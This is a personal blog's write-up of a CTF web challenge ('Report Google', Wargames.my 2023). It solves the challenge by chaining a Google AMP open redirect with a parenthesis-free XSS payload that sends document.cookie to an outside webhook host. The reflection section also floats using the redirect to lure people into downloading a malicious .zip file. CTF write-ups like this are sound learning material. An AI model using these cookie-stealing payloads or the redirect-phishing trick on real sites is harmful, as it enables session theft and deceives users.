Site cover image

Site icon image vicevirus’ Blog

Yo, welcome to my blog! I write tech stuff and play CTFs for fun. (still a noob)

Post title icon [Web] Report Google Wargames.my CTF 2023

Image in a image block

Note : I did not solve this challenge during game time (Skill issue tbh). Everything here is being done on my local instance.

Challenge


In this challenge, we were given a website with a simple input box that will only accept urls starting with https://www.google.com/ and source code files.

Image in a image block
Web
Image in a image block
Source code


Looking at the source code files, the only interesting file here is app.js which is a NodeJS file.

Inside the source code, we can see that the flag is stored inside the cookie.

const visit = async url => {
  let context
  try {
    if (!browser) {
      browser = await puppeteer.launch({
        headless: 'new',
        args: ['--js-flags=--jitless,--no-expose-wasm', '--disable-gpu', '--disable-dev-shm-usage'],
      })
    }
    context = await browser.createIncognitoBrowserContext()
    const page = await context.newPage()
    await page.setCookie({
      name: 'flag',
      value: FLAG,
      domain: 'localhost:3000',
    })
    await page.goto(url)
    await sleep(3000)
    await page.close()
  } catch (e) {
    console.error(e)
  } finally {
    if (context) await context.close()
  }
}


Usually, when dealing with Puppeteer, Selenium or any kind of bot visiting challenges.. it must have something to do with either XSS (Cross-site scripting) or any attacks that requires user interaction.

Since the flag is stored in the cookie, I assume that we have to somehow invoke XSS and fetch document.cookie with our payload.

Problem here is that, the input only accept urls starting with https://www.google.com/ .


Do we need to have our website on google search..?


That couldn’t be it right.. it would be very tedious.

Is there any open redirect available on google?


To my surprise, there is! I’ve never expected such a thing from google. I’ve found two working examples.

For example this one, it requires correct usg= parameter for redirects. If not, you will be stopped on the redirect with a notice.

https://www.google.com/url?sa=t&url=http://example.org/&usg=AOvVaw1YigBkNF7L7D2x2Fl532mA

Another one I found which requires nothing at all.

https://www.google.com/amp/s/malicioushost.com
// from my testing, the /s is actually optional for this to work.


Oh TIL. There’s a lot of interesting stuff we can do with this, we’ll get back to this later. Very interesting indeed!


First idea:

Maybe I could just host my website, put my XSS payload inside my website and fetch the cookie.

Will it work?

I didn’t even try, and I know it wouldn’t work. The cookie is only stored for the domain localhost:3000 based on the source code.

await page.setCookie({
      name: 'flag',
      value: FLAG,
      domain: 'localhost:3000',
    })

Second idea:

Okay, since the cookie is only for domain localhost:3000 which I am guessing is the website local connection, maybe there’s an XSS sink (a place we could put our payload) inside the website.

Looking further into the website’s source code, apparently there is.

<script>
    const e = new URLSearchParams(window.location.search).get('e');
    if (e && e.length < 80 && !/[\\(\\)\`]/.test(e)) {
      window.addEventListener('beforeunload', event => {
        event.preventDefault();
        event.returnValue = true;
        return true;
      });
      const m = document.createElement('mark');
      m.innerHTML = e;
      document.querySelector('main').prepend(m);
    }
  </script>

Basically the code above will retrieve the GET parameter e , make sure the length is lesser than 80 and make sure no parentheses is allowed.

Then it will render anything inside e, onto the page.. which means it’s XSS-able!

💡
Looking at a glance, the regex seems like it’s trying to match any single character that is either an open parenthesis and a close parenthesis ( )

Luckily, there’s plenty of XSS payload that requires no parentheses. (I’ve seen a few from a famous tweet, I forgot which)

For this challenge, I opted to proceed with this payload.

<svg/onload=location=/\test.com/+document.cookie>
Image in a image block
svg is rendered on our page, means our payload works!

Solution


Nice! Now we are just few steps away from extracting the cookie.

Let’s combine google redirect we found with the payload!

The whole idea will be like this:


Google redirect > localhost:3000 (invoke payload, steal cookie, redirect) > my webhook site


Our full payload to be submitted will look like this (with url encoding once):

https://www.google.com/amp/localhost:3000/?e=<svg%2Fonload=location=%2F%5Ceopv3w3vk53m2v7.m.pipedream.net%2F%2Bdocument.cookie>
Image in a image block

Oh.. that didn’t work. Maybe we need to url encode the ? mark before e param too?

https://www.google.com/amp/localhost:3000/%3Fe=<svg%2Fonload=location=%2F%5Ceopv3w3vk53m2v7.m.pipedream.net%2F%2Bdocument.cookie>
Image in a image block
Tested it on my browser, yay it works as how it’s supposed to!

We tried submitting it again, and..

Image in a image block
We got a request on our webhook! But there’s no flag being sent….
Image in a image block
What the hell is wrong here

After getting this close and looking solutions for an hour (don’t have much time anyway, thought that CTF ends on Sunday night), I decided to give up on the challenge and went on to look at ‘easier’ challenges.

After the CTF has ended, I read the solution from omachi. He was going through the route of using usg= method.

Image in a image block
Thanks omachi! Thought I was insane...

His payload were pretty similar to mine, but he was able to get the flag.

Which kept me wondering, is there anything I’ve missed?

I kept trying lot of things, and it still won’t work. Even setup my own cookie website to test and check if my payload works (it does 😭).


Last thing I did was, doing url-encoding once again on the payload part.

https://www.google.com/amp/localhost:3000/%3Fe=%3Csvg%252Fonload%3Dlocation%3D%252F%255Ceopv3w3vk53m2v7.m.pipedream.net%252F%252Bdocument.cookie%3E
Image in a image block
and.. we got the flag!


Wait… what? Double url encoding works!


At this point, I am guessing there’s a certain symbols not being interpreted correctly, by either the browser or the server.

Reflection


Sad that I couldn’t solve the challenge during the game. But still it’s pretty cool that I’ve learned something new.

I’ve never expected that there’s an open redirect in google!
I think there’s plenty of ways malicious attackers could abuse this open redirect to their own advantage.

A malicious attacker could probably buy a .zip domain, for example notmalicious.zip , host a web that will serve zip file, and then do something like this:

https://www.google.com/amp/notmalicious.zip

Most people would have thought, “Oh it’s from google, then it must be safe”, and then boom! You just downloaded a malicious zip file.

Tbh, idk if the above scenario works or not in real life, but still it’s pretty interesting.

Note: This works though.

https://www.google.com/amp/ntv.zip

Big thanks to WGMY crews for making these awesome challenges this year, I’ve definitely learned a lot!

Thanks for reading my writeup!